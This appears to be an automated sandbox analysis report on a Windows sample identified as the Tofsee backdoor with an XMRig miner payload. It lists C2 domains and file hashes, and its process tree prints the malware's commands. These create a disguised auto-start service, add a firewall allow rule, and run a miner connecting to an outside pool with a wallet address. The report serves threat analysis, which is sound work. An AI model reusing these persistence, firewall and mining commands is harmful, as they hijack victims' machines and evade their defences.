Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21/12/2022, 00:16

General

  • Target
    file.exe
  • Size 215KB
  • Sample221221-akfvtabd29
  • SHA256 f8969e8623074995f5b9e8bf55f625b38168d75fa5787dff1101f0308d499479
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4868
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\txrueceo\
      2⤵
        PID:796
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\brkifovu.exe" C:\Windows\SysWOW64\txrueceo\
        2⤵
          PID:1284
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create txrueceo binPath= "C:\Windows\SysWOW64\txrueceo\brkifovu.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3700
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description txrueceo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2240
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start txrueceo
          2⤵
          • Launches sc.exe
          PID:3468
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4632
      • C:\Windows\SysWOW64\txrueceo\brkifovu.exe
        C:\Windows\SysWOW64\txrueceo\brkifovu.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4752
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:812
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2700

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            brkifovu.exe

            • Path C:\Users\Admin\AppData\Local\Temp\brkifovu.exe
            • Size 13.8MB
            • SHA256 e6250f3436beb6842f3e3315e39a61c20ffa3aa977fa070eda183b683e6ae527
            • MD5 SHA1 SHA512 SSDEEP

            brkifovu.exe

            • Path C:\Windows\SysWOW64\txrueceo\brkifovu.exe
            • Size 13.8MB
            • SHA256 e6250f3436beb6842f3e3315e39a61c20ffa3aa977fa070eda183b683e6ae527
            • MD5 SHA1 SHA512 SSDEEP

            memory/812-153-0x0000000002800000-0x0000000002A0F000-memory.dmp

            memory/812-151-0x0000000000C40000-0x0000000000C55000-memory.dmp

            memory/812-159-0x0000000001FC0000-0x0000000001FD0000-memory.dmp

            memory/812-156-0x0000000001FB0000-0x0000000001FB6000-memory.dmp

            memory/812-165-0x0000000007800000-0x0000000007C0B000-memory.dmp

            memory/812-152-0x0000000000C40000-0x0000000000C55000-memory.dmp

            memory/812-162-0x0000000001FD0000-0x0000000001FD5000-memory.dmp

            memory/812-168-0x0000000001FE0000-0x0000000001FE7000-memory.dmp

            memory/812-146-0x0000000000C40000-0x0000000000C55000-memory.dmp

            memory/2700-172-0x00000000012F0000-0x00000000013E1000-memory.dmp

            memory/2700-177-0x00000000012F0000-0x00000000013E1000-memory.dmp

            memory/4752-147-0x000000000074E000-0x000000000075E000-memory.dmp

            memory/4752-149-0x0000000000400000-0x000000000045F000-memory.dmp

            memory/4868-133-0x0000000000460000-0x0000000000560000-memory.dmp

            memory/4868-144-0x0000000000400000-0x000000000045F000-memory.dmp

            memory/4868-134-0x0000000000770000-0x0000000000783000-memory.dmp

            memory/4868-135-0x0000000000400000-0x000000000045F000-memory.dmp